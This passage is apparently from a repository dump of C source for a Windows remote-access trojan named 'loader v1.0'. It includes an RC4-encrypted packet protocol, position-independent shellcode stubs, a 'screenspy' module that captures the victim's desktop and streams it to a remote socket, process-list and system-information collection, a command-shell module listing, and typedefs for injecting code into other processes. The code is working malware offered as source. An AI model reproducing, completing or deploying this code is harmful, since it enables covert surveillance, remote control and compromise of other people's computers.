i);\n\n    if (i < 0x10000L)\n      move2(0xcd, i);\n\n    if (i < 0x100000000LL)\n      move4(0xce, i);\n\n    move8(0xcf, i);\n  }\n\n  if (i >= -32)\n    move0(i);\n\n  if (i >= -128)\n    move1(0xd0, i);\n\n  if (i >= -32768)\n    move2(0xd1, i);\n\n  if (i >= (int64_t)0xffffffff80000000LL)\n    move4(0xd2, i);\n\n  move8(0xd3, i);\n};\n\nvoid __cdecl msgpack_lite_pack_unsigned(buffer_t *buf, uint64_t i) {\n  if (i < 0x80)\n    move0(i);\n\n  if (i < 0x100)\n    move1(0xcc, i);\n\n  if (i < 0x10000L)\n    move2(0xcd, i);\n\n  if (i < 0x100000000LL)\n    move4(0xce, i);\n\n  move8(0xcf, i);\n};\n\nvoid __cdecl msgpack_lite_pack_float(buffer_t *buf, float f) {\n  uint32_t tmp = *((uint32_t *)&f);\n  move4(0xca, tmp);\n};\n\nvoid __cdecl msgpack_lite_pack_double(buffer_t *buf, double d) {\n  uint64_t tmp = *((uint64_t*)&d);\n  move8(0xcb, tmp);\n};\n\nvoid __cdecl msgpack_lite_pack_real(buffer_t *buf, double d) {\n  float f = (float)d;\n  double df = f;\n  if (df == d)\n    msgpack_lite_pack_float(buf, f);\n  else\n    msgpack_lite_pack_double(buf, d);\n};\n\nvoid __cdecl msgpack_lite_pack_map_size(buffer_t *buf, uint32_t n) {\n  if (n < 0x10)\n    move0(0x80 | n);\n\n  if (n < 0x10000)\n    move2(0xde, n);\n\n  move4(0xdf, n);\n};\n\nvoid __cdecl msgpack_lite_pack_str(buffer_t *buf, const char *v) {\n  size_t l = xlstrlenA(v);\n  buffer_checkspace(buf, l + sizeof(uint8_t) + sizeof(uint32_t));\n  uint8_t *s = buf->data + buf->size;\n  if (l < 0x20) {   // Fixstr\n    *s++ = (uint8_t)(0xa0 + l);\n    buf->size += sizeof(uint8_t);\n  }\n  else if (l < 0x100) {   // Str 8\n    *s++ = 0xd9;\n    *s++ = l;\n    buf->size += sizeof(uint8_t) + sizeof(uint8_t);\n  }\n  else if (l < 0x10000) {\n    *s++ = 0xda;\n    _store16(s, (uint16_t)l);\n    s += sizeof(uint16_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint16_t);\n  }\n  else {\n    *s++ = 0xdb;\n    _store32(s, (uint32_t)l);\n    s += sizeof(uint32_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint32_t);\n  }\n\n  copy_memory(s, v, l);\n  buf->size += l;\n};\n\nvoid __cdecl msgpack_lite_pack_widestr(buffer_t *buf, const wchar_t *v) {\n  int l = xWideCharToMultiByte(CP_UTF8, 0, v, -1, 0, 0, 0, 0);\n  buffer_checkspace(buf, l + sizeof(uint8_t) + sizeof(uint32_t));\n  /*\n  如果函数运行成功，并且cchMultiByte不为零，返回值是由 lpMultiByteStr指向的缓冲区中写入的字节数；如果函数运行成功，\n  并且cchMultiByte为零，返回值是接收到待转换字符串的缓冲区所必需的字节数包括末尾的0。如果函数运行失败，返回值为零\n  */\n  l -= 1;\n  uint8_t *s = buf->data + buf->size;\n  if (l < 0x20) {   // Fixstr\n    *s++ = (uint8_t)(0xa0 + l);\n    buf->size += sizeof(uint8_t);\n  }\n  else if (l < 0x100) {   // Str 8\n    *s++ = 0xd9;\n    *s++ = l;\n    buf->size += sizeof(uint8_t) + sizeof(uint8_t);\n  }\n  else if (l < 0x10000) {\n    *s++ = 0xda;\n    _store16(s, (uint16_t)l);\n    s += sizeof(uint16_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint16_t);\n  }\n  else {\n    *s++ = 0xdb;\n    _store32(s, (uint32_t)l);\n    s += sizeof(uint32_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint32_t);\n  }\n  xWideCharToMultiByte(CP_UTF8, 0, v, -1, s, l, 0, 0);\n  buf->size += l;\n};\n\nvoid __cdecl msgpack_lite_pack_bin_size(buffer_t *buf, uint32_t n) {\n  buffer_checkspace(buf, sizeof(uint8_t) + sizeof(uint32_t));\n  uint8_t *s = buf->data + buf->size;\n  if (n < 0x100)  { // Bin 8\n    *s++ = 0xc4;\n    *s++ = (uint8_t)n;\n    buf->size += sizeof(uint8_t) + sizeof(uint8_t);\n  }\n  else if (n < 0x10000) { // Bin 16\n    *s++ = 0xc5;\n    _store16(s, (uint16_t)n);\n    s += sizeof(uint16_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint16_t);\n  }\n  else {  // Bin32\n    *s++ = 0xc6;\n    _store32(s, (uint32_t)n);\n    s += sizeof(uint32_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint32_t);\n  }\n};\n\nvoid __cdecl msgpack_lite_pack_bin(buffer_t *buf, const void* v, uint32_t l) {\n  buffer_checkspace(buf, l + sizeof(uint8_t) + sizeof(uint32_t));\n  uint8_t *s = buf->data + buf->size;\n  if (l < 0x100)  { // Bin 8\n    *s++ = 0xc4;\n    *s++ = (uint8_t)l;\n    buf->size += sizeof(uint8_t) + sizeof(uint8_t);\n  }\n  else if (l < 0x10000) { // Bin 16\n    *s++ = 0xc5;\n    _store16(s, (uint16_t)l);\n    s += sizeof(uint16_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint16_t);\n  }\n  else {  // Bin32\n    *s++ = 0xc6;\n    _store32(s, (uint32_t)l);\n    s += sizeof(uint32_t);\n    buf->size += sizeof(uint8_t) + sizeof(uint32_t);\n  }\n\n  copy_memory(s, v, l);\n  buf->size += l;\n};\n\nvoid __cdecl msgpack_lite_pack_array_size(buffer_t *buf, uint32_t n) {\n  if (n < 0x10)\n    move0(0x90 | n);\n\n  if (n < 0x10000)\n    move2(0xdc, n);\n\n  move4(0xdd, n);\n};\n\nvoid __cdecl msgpack_lite_pack_insert(buffer_t *buf, const void *v, uint32_t l) {\n  buffer_write(buf, v, l);\n};\n\n#pragma warning(pop)  // warning pop\n#undef global_data  // undef global_data\n"
  },
  {
    "path": "loader v1.0/functions/functions/order.txt",
    "content": "shellcode_main_entry@8\n\nbuffer_new\nbuffer_free\nbuffer_checkspace\nbuffer_write\nbuffer_clear\n\nmsgpack_lite_pack_nil\nmsgpack_lite_pack_boolean\nmsgpack_lite_pack_signed\nmsgpack_lite_pack_unsigned\nmsgpack_lite_pack_float\nmsgpack_lite_pack_double\nmsgpack_lite_pack_real\nmsgpack_lite_pack_map_size\nmsgpack_lite_pack_str\nmsgpack_lite_pack_widestr\nmsgpack_lite_pack_bin_size\nmsgpack_lite_pack_bin\nmsgpack_lite_pack_array_size\nmsgpack_lite_pack_insert\n\nsend_packet\nrecv_packet\n\nbitmap_create_info\nbitmap_new\nbitmap_free\nbitmap_scan_line\nbitmap_save\n\nsend_information\nwait_command\ninitalize_code\nprocess_packet\nsocket_main\n\nshellcode_main_code_end\n\ninformation_entry\n\nget_lan_info\nget_os_version\nget_cpu_frequency\n\ninformation_code_end\n\ncmd_shell_entry\n\ncmd_shell_initialize\ncmd_shell_check\ncmd_shell_send_result\ncmd_shell_execute\ncmd_shell_finalize\n\ncmd_shell_code_end\n\nthumbnail_entry\n\nthumbnail_send\n\nthumbnail_code_end\n\nscreenspy_entry\n\nswitch_input_desktop\nscreenspy_initalize\nscreenspy_save_rect\nscreenspy_send_diff\nscreenspy_send\nscreenspy_finalize\n\nscreenspy_code_end\n\nprocess_entry\n\nprocess_send_list\n\nprocess_code_end"
  },
  {
    "path": "loader v1.0/functions/functions/process.c",
    "content": "#include \"global_data.h\"\n#include \"shellcodes.h\"\n\nextern void __cdecl process_entry(global_data_t *global_data);\nextern int __cdecl process_send_list(global_data_t *global_data, SOCKET s);\nextern void __cdecl process_code_end();\n\n#define FIX(name) xprocess.##name = (_##name)(delta + (char *)name)\n\n#pragma optimize(\"ts\", on)\n\nvoid __cdecl process_entry(global_data_t *global_data) {\n  uint32_t delta;\n\n  __asm {\n    call x;\n  x:\n    pop\teax;\n    sub\teax, offset x;\n    mov\tdelta, eax\n  }\n\n  FIX(process_send_list);\n}\n\n#undef FIX  // undef macro FIX\n\nint __cdecl process_send_list(global_data_t *global_data, SOCKET s) {\n  HANDLE snapshot = xCreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);\n\n  PROCESSENTRY32W pe;\n  pe.dwSize = sizeof(pe);\n\n  xProcess32FirstW(snapshot, &pe);\n\n  buffer_t *buf = xbuffer_new();\n\n  while (xProcess32NextW(snapshot, &pe)) {\n    mlp_array_size(buf, 2);\n    {\n      mlp_unsigned(buf, pe.th32ProcessID);\n      mlp_widestr(buf, pe.szExeFile);\n    }\n  }\n\n  xCloseHandle(snapshot);\n\n  int ret = xsend_packet(s, CMD_PROCESS_LIST, (const char *)buf->data, buf->size);\n\n  xbuffer_free(buf);\n\n  return ret;\n}\n\nvoid __cdecl process_code_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\n#undef FIX             // undef macro FIX\n\nvoid process_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)process_entry;\n  end = (char *)process_code_end;\n\n  printf(\"[*] process code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n  printf(\"[*] save process to %s success.\\n\", filename);\n}"
  },
  {
    "path": "loader v1.0/functions/functions/proto.inc",
    "content": "int __cdecl send_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, const char *buf, size_t size) {\n  packet_header_t ph;\n\n  zero_memory(&ph, sizeof(ph));\n  ph.random = xGetTickCount();\n  ph.signature = PACKET_HEADER_SIGNATURE;\n  ph.cmd = cmd;\n\n  if (buf == 0) {\n    rc4_crypt(global_data->send_sbox, (char *)&ph, sizeof(packet_header_t));\n    if (send_data(s, (char *)&ph, sizeof(ph)) == SOCKET_ERROR) return SOCKET_ERROR;\n  }\n  else {\n    ph.packet_unpacked_size = size;\n\n    char *send_buf = alloc_memory(size);\n    uint32_t compressed_size;\n\n    if (size >= MIN_COMPRESS_DATA_SIZE) {\n      compressed_size = compress((char *)buf, size, send_buf, size);\n    }\n    else {\n      copy_memory(send_buf, buf, size);\n      compressed_size = size;\n    }\n\n    if (compressed_size < 0) {\n      free_memory(send_buf);\n      return SOCKET_ERROR;\n    }\n\n    ph.packet_size = compressed_size;\n\n    rc4_crypt(global_data->send_sbox, (char *)&ph, sizeof(packet_header_t));\n    rc4_crypt(global_data->send_sbox, (char *)send_buf, compressed_size);\n\n    if (send_data(s, (char *)&ph, sizeof(ph)) == SOCKET_ERROR) return SOCKET_ERROR;\n    if (send_data(s, (char *)send_buf, compressed_size) == SOCKET_ERROR) return SOCKET_ERROR;\n  }\n\n  return 0;\n}\n\nint __cdecl recv_packet(global_data_t *global_data, SOCKET s, uint8_t *cmd, void **buf, size_t *size) {\n  packet_header_t ph;\n\n  *buf = 0;\n  *size = 0;\n\n  if (recv_data(s, (char *)&ph, sizeof(packet_header_t)) == SOCKET_ERROR) {\n    return SOCKET_ERROR;\n  }\n\n  rc4_crypt(global_data->recv_sbox, (char *)&ph, sizeof(ph));\n\n  if (ph.signature != PACKET_HEADER_SIGNATURE) {\n    return SOCKET_ERROR;\n  }\n\n  *cmd = ph.cmd;\n\n  if (ph.packet_size == 0) return 0;\n\n  void *encrypt_data = alloc_memory(ph.packet_size);\n\n  if (recv_data(s, encrypt_data, ph.packet_size) == SOCKET_ERROR) {\n    free_memory(encrypt_data);\n    return SOCKET_ERROR;\n  }\n\n  rc4_crypt(global_data->recv_sbox, (char *)encrypt_data, ph.packet_size);\n\n  if (ph.packet_size == ph.packet_unpacked_size) {\n    *buf = encrypt_data;\n    *size = ph.packet_size;\n\n    return 0;\n  }\n\n  void *decompress_data = alloc_memory(ph.packet_unpacked_size);\n  size_t decompress_size = decompress(encrypt_data, ph.packet_size, decompress_data, ph.packet_unpacked_size);\n\n  if (decompress_size != ph.packet_unpacked_size) {\n    free_memory(encrypt_data);\n    free_memory(decompress_data);\n    return SOCKET_ERROR;\n  }\n\n  free_memory(encrypt_data);\n\n  *buf = decompress_data;\n  *size = ph.packet_unpacked_size;\n\n  return 0;\n};"
  },
  {
    "path": "loader v1.0/functions/functions/screenspy.c",
    "content": "#include \"global_data.h\"\n#include \"shellcodes.h\"\n\n/*\n  最小块大小为 32 * 38\n  BitBlt 不加上 CAPTUREBLT无法捕获透明窗体\n  但CAPTUREBLT会导致鼠标闪烁\n  仅使用SRCCOPY标志时，Windows只需要从M中拷贝屏幕图像就行了。而若使用了CAPTUREBLT标志，导致的结果是鼠标及半透明窗口均被捕捉下来。\n  但在设计上，BitBlt函数是不允许捕捉鼠标的。于是，系统只好先隐藏鼠标，然后捕捉图像，再恢复鼠标，结果就导致了鼠标的闪烁。\n*/\n\nextern void __cdecl screenspy_entry(global_data_t *global_data);\nextern bool __cdecl switch_input_desktop(global_data_t *global_data);\nextern int __cdecl screenspy_initalize(global_data_t *global_data, SOCKET s, int bit_count);\nextern void __cdecl screenspy_save_rect(global_data_t *global_data, RECT rt);\nextern int __cdecl screenspy_send_diff(global_data_t *global_data, SOCKET s);\nextern int __cdecl screenspy_send(global_data_t *global_data, SOCKET s);\nextern int __cdecl screenspy_finalize(global_data_t *global_data, SOCKET s);\nextern void __cdecl screenspy_code_end();\n\n#define FIX(name) xscreenspy.##name = (_##name)(delta + (char *)name)\n\n#pragma optimize(\"ts\", on)\n\nvoid __cdecl screenspy_entry(global_data_t *global_data) {\n  uint32_t delta;\n\n  __asm {\n    call x;\n  x:\n    pop\teax;\n    sub\teax, offset x;\n    mov\tdelta, eax\n  }\n\n  FIX(screenspy_initalize);\n  FIX(screenspy_send);\n  FIX(screenspy_finalize);\n}\n\n#undef FIX  // undef macro FIX\n\n// 切换输入窗口\nbool __cdecl switch_input_desktop(global_data_t *global_data) {\n  bool\tret = false;\n  DWORD\tneeded;\n\n  HDESK\told, new_;\n  char\tcurrent[256], input[256];\n\n  old = xGetThreadDesktop(xGetCurrentThreadId());\n  zero_memory(current, sizeof(current));\n  xGetUserObjectInformationA(old, UOI_NAME, &current, sizeof(current), &needed);\n\n  new_ = xOpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);\n  zero_memory(current, sizeof(input));\n  xGetUserObjectInformationA(new_, UOI_NAME, &input, sizeof(input), &needed);\n\n  if (xlstrcmpiA(input, current) != 0) {\n    xSetThreadDesktop(new_);\n    ret = true;\n  }\n  xCloseDesktop(old);\n\n  xCloseDesktop(new_);\n\n  return ret;\n}\n\nint __cdecl screenspy_initalize(global_data_t *global_data, SOCKET s, int bit_count) {\n  extra_data()->state |= STATE_SCREEN_SPY;\n\n  xscreenspy.screen_width = xGetSystemMetrics(SM_CXSCREEN);\n  xscreenspy.screen_height = xGetSystemMetrics(SM_CYSCREEN);\n\n  switch_input_desktop(global_data);\n\n  xscreenspy.desktop_window = xGetDesktopWindow();\n  xscreenspy.desktop_dc = xGetDC(xscreenspy.desktop_window);\n\n  xscreenspy.bitmap_full = xbitmap_new(xscreenspy.desktop_dc, bit_count, xscreenspy.screen_width, \n  xscreenspy.screen_height);\n  xscreenspy.bitmap_line = xbitmap_new(xscreenspy.desktop_dc, bit_count, xscreenspy.screen_width, 1);\n\n  xscreenspy.bit_count = xscreenspy.bitmap_full->bit_count;\n\n  xscreenspy.start_line = 0;\n  xscreenspy.first_screen_sent = false;\n\n  return xsend_packet(s, CMD_SCREENSPY_START, 0, 0);\n}\n\nvoid __cdecl screenspy_save_rect(global_data_t *global_data, RECT rt) {\n  int i, j;\n  RECT rt3;\n  int nt[9];\n\n  for (i = 0; i < 9; i++) {\n    //  找出非空数据\n    if (xscreenspy.changed[i].right == 0) continue;\n\n    // 判断当前区域是否与已经保存的区域中间的区域是否足以放下另外一个基本块\n    if ((xscreenspy.changed[i].left - rt.right > 32) ||\n      (rt.left - xscreenspy.changed[i].right > 32) ||\n      (xscreenspy.changed[i].top - rt.bottom > 38) ||\n      (rt.bottom - xscreenspy.changed[i].top > 38)) {\n      continue;\n    }\n    else {\n      xSetRect(&xscreenspy.changed[i], min(xscreenspy.changed[i].left, rt.left), min(xscreenspy.changed[i].top, rt.top),\n        max(xscreenspy.changed[i].right, rt.right), max(xscreenspy.changed[i].bottom, rt.bottom));\n      return;\n    }\n  }\n\n  //  计算扩充后的大小\n  for (i = 0; i < 9; i++) {\n    nt[i] = 0;\n    if (xscreenspy.changed[i].right == 0) continue;\n\n    xSetRect(&rt3, min(xscreenspy.changed[i].left, rt.left), min(xscreenspy.changed[i].top, rt.top),\n      max(xscreenspy.changed[i].right, rt.right), max(xscreenspy.changed[i].bottom, rt.bottom));\n\n    //  这个公式就是计算扩展后的Rect所占用的冗余区域字节大小\n    //  写到一起会导致崩溃，wtf!\n    int target = (rt3.right - rt3.left) * (rt3.bottom - rt3.top);\n    int orign = (xscreenspy.changed[i].right - xscreenspy.changed[i].left) * (xscreenspy.changed[i].bottom - xscreenspy.changed[i].top);\n    int input = (rt.right - rt.left) * (rt.bottom - rt.top);\n\n    j = (target - orign - input) * xscreenspy.bit_count / 8;\n    //  如果占用的冗余字节数小于3000则直接设置\n    if (j < 3000) {\n      xscreenspy.changed[i] = rt3;\n      return;\n    }\n\n    //  保存冗余信息\n    nt[i] = j;\n  }\n\n  //  有空位置直接保存\n  for (i = 0; i < 9; i++) {\n    if (xscreenspy.changed[i].right == 0) {\n      xscreenspy.changed[i] = rt;\n      return;\n    }\n  }\n\n  // 找出扩充后字节数最小的区域来进行扩充\n  i = 0;\n  for (j = 0; j < 9; j++) {\n    if (xscreenspy.changed[i].right == 0) continue;\n\n    if (nt[j] < nt[i]) i = j;\n  }\n\n  xSetRect(&xscreenspy.changed[i], min(xscreenspy.changed[i].left, rt.left), min(xscreenspy.changed[i].top, rt.top),\n    max(xscreenspy.changed[i].right, rt.right), max(xscreenspy.changed[i].bottom, rt.bottom));\n}\n\nint __cdecl screenspy_send_diff(global_data_t *global_data, SOCKET s) {\n  int i, j;\n  uint32_t *porign, *pnew;\n  RECT rt;\n\n  for (i = 0; i < 9; i++) {\n    xSetRectEmpty(&xscreenspy.changed[i]);\n  }\n\n  xSetRectEmpty(&rt);\n\n  i = xscreenspy.start_line;\n  while (i < xscreenspy.screen_height) {\n    //  取出一行数据\n    xBitBlt(xscreenspy.bitmap_line->dc, 0, 0, xscreenspy.screen_width, 1, xscreenspy.desktop_dc, 0, i, SRCCOPY/* | CAPTUREBLT*/);\n\n    porign = xbitmap_scan_line(xscreenspy.bitmap_full, i);\n    pnew = xbitmap_scan_line(xscreenspy.bitmap_line, 0);\n\n    j = 0;\n    while (j < xscreenspy.screen_width) {\n      if (*porign == *pnew) {\n        porign++;\n        pnew++;\n        j += 32 / xscreenspy.bit_count; // 32位除以一个像素占多少位\n        continue;\n      }\n\n      rt.left = max(j - 32, 0);\n      rt.top = max(i - 19, 0);\n      rt.right = min(j + 32, xscreenspy.screen_width);\n      rt.bottom = min(i + 19, xscreenspy.screen_height);\n\n      screenspy_save_rect(global_data, rt);\n\n      // 这里加bit_count是因为32(像素) / (32(一个dword包含多少位) / bitcount(一个像素占用多少位)) = bit_count\n      porign += xscreenspy.bit_count;\n      pnew += xscreenspy.bit_count;\n      j += 32;\n    }\n\n    i += 19;\n  }\n\n  // 0 3 6 9 12 15 18， 2 5 8 11 14 17， 1 4 7 10 13 16 0,\n  // 为了防止每次都从第一个进行扫描，每次跳过的行数都是相同的，以免特定行数改变时无法捕获\n  // 保证每行都能被扫描到\n  xscreenspy.start_line = (xscreenspy.start_line + 3) % 19;\n\n  // 将变化的区域写入原图\n  for (i = 0; i < 9; i++) {\n    if (xscreenspy.changed[i].right != 0) {\n      xBitBlt(xscreenspy.bitmap_full->dc, \n        xscreenspy.changed[i].left, xscreenspy.changed[i].top, \n        xscreenspy.changed[i].right - xscreenspy.changed[i].left,\n        xscreenspy.changed[i].bottom - xscreenspy.changed[i].top,\n        xscreenspy.desktop_dc, xscreenspy.changed[i].left, xscreenspy.changed[i].top, SRCCOPY);\n    }\n  }\n\n  // 发送变化的区域\n  buffer_t *buf = xbuffer_new();\n  POINT pt;\n  int width, height;\n\n  // 写入当前鼠标指针\n  xGetCursorPos(&pt);\n  xbuffer_write(buf, &pt, sizeof(pt));\n\n  for (i = 0; i < 9; i++) {\n    if (xscreenspy.changed[i].right != 0) {\n      pt.x = xscreenspy.changed[i].left;\n      pt.y = xscreenspy.changed[i].top;\n\n      // 写入图像坐标\n      xbuffer_write(buf, &pt, sizeof(pt));\n\n      width = xscreenspy.changed[i].right - xscreenspy.changed[i].left;\n      height = xscreenspy.changed[i].bottom - xscreenspy.changed[i].top;\n\n      bitmap_t *changed_bitmap = xbitmap_new(xscreenspy.bitmap_full->dc, xscreenspy.bit_count, width, height);\n\n      xBitBlt(changed_bitmap->dc, 0, 0, width, height, xscreenspy.bitmap_full->dc, xscreenspy.changed[i].left, xscreenspy.changed[i].top, SRCCOPY);\n\n      xbitmap_save(changed_bitmap, buf);\n\n      xbitmap_free(changed_bitmap);\n    }\n  }\n\n  int ret = xsend_packet(s, CMD_SCREENSPY_DATA, (const char *)buf->data, buf->size);\n\n  xbuffer_free(buf);\n\n  return ret;\n}\n\nint __cdecl screenspy_send(global_data_t *global_data, SOCKET s) {\n  // 判断时间\n  /*DWORD temp = xGetTickCount();\n  if (temp - xscreenspy.tick < 1000 / 60) {\n    return 0;\n  }\n  xscreenspy.tick = temp;*/\n\n  if (switch_input_desktop(global_data)) {\n    xReleaseDC(xscreenspy.desktop_window, xscreenspy.desktop_dc);\n    xscreenspy.desktop_window = xGetDesktopWindow();\n    xscreenspy.desktop_dc = xGetDC(xscreenspy.desktop_window);\n  }\n\n  if (xscreenspy.first_screen_sent)\n    return screenspy_send_diff(global_data, s);\n\n  xBitBlt(xscreenspy.bitmap_full->dc, 0, 0, xscreenspy.screen_width, xscreenspy.screen_height, xscreenspy.desktop_dc, 0, 0, SRCCOPY/* | CAPTUREBLT*/);\n\n  buffer_t *buf = xbuffer_new();\n  POINT pt;\n\n  // 写入当前鼠标位置\n  xGetCursorPos(&pt);\n  xbuffer_write(buf, &pt, sizeof(pt));\n  // 写入图像位置\n  pt.x = 0;\n  pt.y = 0;\n  xbuffer_write(buf, &pt, sizeof(pt));\n  xbitmap_save(xscreenspy.bitmap_full, buf);\n\n  int ret = xsend_packet(s, CMD_SCREENSPY_DATA, (const char *)buf->data, buf->size);\n\n  xbuffer_free(buf);\n\n  xscreenspy.first_screen_sent = true;\n\n  return ret;\n}\n\nint __cdecl screenspy_finalize(global_data_t *global_data, SOCKET s) {\n  extra_data()->state &= ~STATE_SCREEN_SPY;;\n\n  xReleaseDC(xscreenspy.desktop_window, xscreenspy.desktop_dc);\n\n  xbitmap_free(xscreenspy.bitmap_full);\n  xbitmap_free(xscreenspy.bitmap_line);\n\n  if (s != INVALID_SOCKET) {\n    return xsend_packet(s, CMD_SCREENSPY_END, 0, 0);\n  }\n\n  return 0;\n}\n\nvoid __cdecl screenspy_code_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\n#undef FIX             // undef macro FIX\n\nvoid screenspy_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)screenspy_entry;\n  end = (char *)screenspy_code_end;\n\n  printf(\"[*] screenspy code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n  printf(\"[*] save screenspy to %s success.\\n\", filename);\n}\n"
  },
  {
    "path": "loader v1.0/functions/functions/shellcode.inc",
    "content": "typedef void * (__stdcall *_get_proc_from_hash)(HMODULE, DWORD, _GetProcAddress);\ntypedef void (__stdcall *_rc4_init)(unsigned char *, const char *, DWORD);\ntypedef void (__stdcall *_rc4_crypt)(unsigned char *, const char *, DWORD);\ntypedef void *(__stdcall *_alloc_memory)(global_data_p, DWORD);\ntypedef void *(__stdcall *_realloc_memory)(global_data_p, void *, DWORD);\ntypedef void *(__stdcall *_free_memory)(global_data_p, void *);\ntypedef void *(__stdcall *_alloc_executable_memory)(global_data_p, HANDLE, DWORD);\ntypedef void (__stdcall *_free_executable_memory)(global_data_p, HANDLE, void *);\ntypedef void *(__stdcall *_inject_memory)(global_data_p, HANDLE, void *, DWORD);\ntypedef int (__stdcall *_compress)(global_data_p, void *, DWORD, void *, DWORD);\ntypedef int (__stdcall *_decompress)(global_data_p, void *, DWORD, void *, DWORD);\ntypedef int (__stdcall *_wait_buffer)(global_data_p, SOCKET, DWORD, DWORD);\ntypedef int (__stdcall *_recv_data)(global_data_p, SOCKET, void *, DWORD);\ntypedef int (__stdcall *_send_data)(global_data_p, SOCKET, void *, DWORD);\ntypedef uint64_t (__cdecl *_wow64_call)(uint64_t func, int argC, ...);\ntypedef uint64_t (__cdecl *_wow64_inject_memory)(global_data_t *global_data, HANDLE process, unsigned char *buf, uint32_t size);\ntypedef HANDLE (__cdecl *_wow64_create_remote_thread)(global_data_t *global_data, HANDLE process, uint64_t thread, uint64_t param);"
  },
  {
    "path": "loader v1.0/functions/functions/shellcode_main.c",
    "content": "#include \"shellcodes.h\"\n#include \"global_data.h\"\n\ntypedef void(__cdecl *_submodule_entry)(global_data_t *global_data);\n\n/*\n  1. ʼbufferģ飬msgliteģ飬Э鷢ͽģ\n  2. ͨѶģ\n*/\n\nextern void __stdcall shellcode_main_entry(global_data_t *global_data, SOCKET s);\n\nextern buffer_t * __cdecl buffer_new(global_data_t *global_data);\nextern void __cdecl buffer_free(buffer_t *buf);\nextern void __cdecl buffer_checkspace(buffer_t *buf, size_t l);\nextern void __cdecl buffer_write(buffer_t *buf, const void *v, size_t l);\nextern void __cdecl buffer_clear(buffer_t *buf);\n\nextern void __cdecl msgpack_lite_pack_nil(buffer_t *buf);\nextern void __cdecl msgpack_lite_pack_boolean(buffer_t *buf, bool b);\nextern void __cdecl msgpack_lite_pack_signed(buffer_t *buf, int64_t i);\nextern void __cdecl msgpack_lite_pack_unsigned(buffer_t *buf, uint64_t i);\nextern void __cdecl msgpack_lite_pack_float(buffer_t *buf, float f);\nextern void __cdecl msgpack_lite_pack_double(buffer_t *buf, double d);\nextern void __cdecl msgpack_lite_pack_real(buffer_t *buf, double d);\nextern void __cdecl msgpack_lite_pack_map_size(buffer_t *buf, uint32_t n);\nextern void __cdecl msgpack_lite_pack_str(buffer_t *buf, const char *v);\nextern void __cdecl msgpack_lite_pack_widestr(buffer_t *buf, const wchar_t *v);\nextern void __cdecl msgpack_lite_pack_bin_size(buffer_t *buf, uint32_t n);\nextern void __cdecl msgpack_lite_pack_bin(buffer_t *buf, const void* v, uint32_t l);\nextern void __cdecl msgpack_lite_pack_array_size(buffer_t *buf, uint32_t n);\nextern void __cdecl msgpack_lite_pack_insert(buffer_t *buf, const void *v, uint32_t l);\n\nextern int __cdecl send_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, const char *buf, size_t size);\nextern int __cdecl recv_packet(global_data_t *global_data, SOCKET s, uint8_t *cmd, void **buf, size_t *size);\n\nextern PBITMAPINFO __cdecl bitmap_create_info(global_data_t *global_data, HDC dc, int bit_count, int width, int height, int *bi_size);\nextern bitmap_t * __cdecl bitmap_new(global_data_t *global_data, HDC src_dc, int bit_count, int width, int height);\nextern void __cdecl bitmap_free(bitmap_t *bmp);\nextern void * __cdecl bitmap_scan_line(bitmap_t *bmp, int line);\nextern void __cdecl bitmap_save(bitmap_t *bmp, buffer_t *buf);\n\nextern int send_information(global_data_t *global_data, SOCKET s);\nextern int wait_command(global_data_t *global_data, SOCKET s);\nextern int __cdecl process_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, void *data, size_t size);\nextern void __cdecl socket_main(global_data_t *global_data, SOCKET s);\n\nextern void __cdecl shellcode_main_code_end();\n\n#pragma pack(push)\n#pragma pack(1)\ntypedef struct {\n  char user32[7];\n  char version[8];\n  char shlwapi[8];\n  char gdi32[6];\n  char id[3];\n  char group[6];\n  char computer_name[14];\n  char username[9];\n  char lan[4];\n  char os[3];\n  char cpu[4];\n  char ram[4];\n  char acc[4];\n  char language[9];\n} shellcode_main_data_t;\n#pragma pack(pop)\n\n#define FIX(name) extra->##name = (_##name)(delta + (char *)name)\n\n#pragma optimize(\"ts\", on)\n\nvoid __stdcall shellcode_main_entry(global_data_t *global_data, SOCKET s) {\n  uint32_t delta;\n  \n  __asm {\n    call x;\n  x:\n    pop\teax;\n    sub\teax, offset x;\n    mov\tdelta, eax\n  }\n\n  extra_t *extra = (extra_t *)global_data->extra_data;\n\n  FIX(buffer_new);\n  FIX(buffer_new);\n  FIX(buffer_free);\n  FIX(buffer_checkspace);\n  FIX(buffer_write);\n  FIX(buffer_clear);\n\n  FIX(msgpack_lite_pack_nil);\n  FIX(msgpack_lite_pack_boolean);\n  FIX(msgpack_lite_pack_signed);\n  FIX(msgpack_lite_pack_unsigned);\n  FIX(msgpack_lite_pack_float);\n  FIX(msgpack_lite_pack_double);\n  FIX(msgpack_lite_pack_real);\n  FIX(msgpack_lite_pack_map_size);\n  FIX(msgpack_lite_pack_str);\n  FIX(msgpack_lite_pack_widestr);\n  FIX(msgpack_lite_pack_bin_size);\n  FIX(msgpack_lite_pack_bin);\n  FIX(msgpack_lite_pack_array_size);\n  FIX(msgpack_lite_pack_insert);\n\n  FIX(send_packet);\n  FIX(recv_packet);\n\n  FIX(send_packet);\n  FIX(recv_packet);\n\n  FIX(bitmap_new);\n  FIX(bitmap_free);\n  FIX(bitmap_scan_line);\n  FIX(bitmap_save);\n\n\n  shellcode_main_data_t *data = (shellcode_main_data_t *)(delta + (char *)shellcode_main_code_end);\n\n  extra->shellcode_main_data = data;\n\n  extra->user32 = xLoadLibraryA(data->user32);\n  extra->version = xLoadLibraryA(data->version);\n  extra->shlwapi = xLoadLibraryA(data->shlwapi);\n  